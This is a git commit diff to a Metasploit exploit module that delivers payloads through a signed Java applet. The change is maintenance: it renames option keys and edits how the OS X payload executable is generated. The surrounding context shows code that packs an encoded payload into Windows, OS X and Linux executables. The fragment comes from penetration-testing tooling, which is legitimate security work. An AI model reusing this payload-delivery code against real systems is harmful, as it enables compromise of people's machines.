Cameled all vars on accident, uncameling regular opts. Also, broke native osx payload, oops.

git-svn-id: file:///home/svn/framework3/trunk@8970 4d416f70-5f16-0410-b530-b9f4589650da
unstable
natron 2010-04-01 05:15:26 +00:00
parent f10d0fbb41
commit b5ee26770b
1 changed files with 6 additions and 6 deletions

View File

@ -94,9 +94,9 @@ class Metasploit3 < Msf::Exploit::Remote
))
register_options(
[
OptString.new( 'CertCN', [ true, "The CN= value for the certificate.", "Metasploit Inc." ]),
OptString.new( 'AppletName', [ true, "The main applet's class name.", "SiteLoader" ]),
OptString.new('PayloadName', [ true, "The payload classes name.", "SiteSupport" ]),
OptString.new( 'CERTCN', [ true, "The CN= value for the certificate.", "Metasploit Inc." ]),
OptString.new( 'APPLETNAME', [ true, "The main applet's class name.", "SiteLoader" ]),
OptString.new('PAYLOADNAME', [ true, "The payload classes name.", "SiteSupport" ]),
# Not implemented yet.
#OptString.new('PACKAGENAME', [ true, "The package name for gen'd classes.","x" ]),
@ -122,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote
if not @jvm_init
print_error
print_error "JVM not initialized. You must install the Java Development Kit, the rjb ruby gem, and set the $JAVA_HOME variable."
print_error "Falling back to static signed applet. This exploit will still work, but the CertCN and AppletName variables will be ignored."
print_error "Falling back to static signed applet. This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored."
print_error
@use_static = true
end
@ -341,7 +341,7 @@ public class #{datastore['APPLETNAME']} extends Applet
}
}
}^
appletcode = { 'classnames' => [ datastore['AppletName'] ] ,
appletcode = { 'classnames' => [ datastore['APPLETNAME'] ] ,
'codefiles' => [ appletsource ] }
return appletcode
@ -379,7 +379,7 @@ public class #{datastore['APPLETNAME']} extends Applet
opts = { :template => datastore['Template'], :insert => datastore['InsertPayload'] }
data = Msf::Util::EXE.to_win32pe( framework, payload.encoded, opts )
end
data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded, opts ) if target['Platform'] == 'osx'
data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target['Platform'] == 'osx'
data = Msf::Util::EXE.to_linux_x86_elf( framework, payload.encoded ) if target['Platform'] == 'linux'
elsif target['Arch'] == ARCH_PPC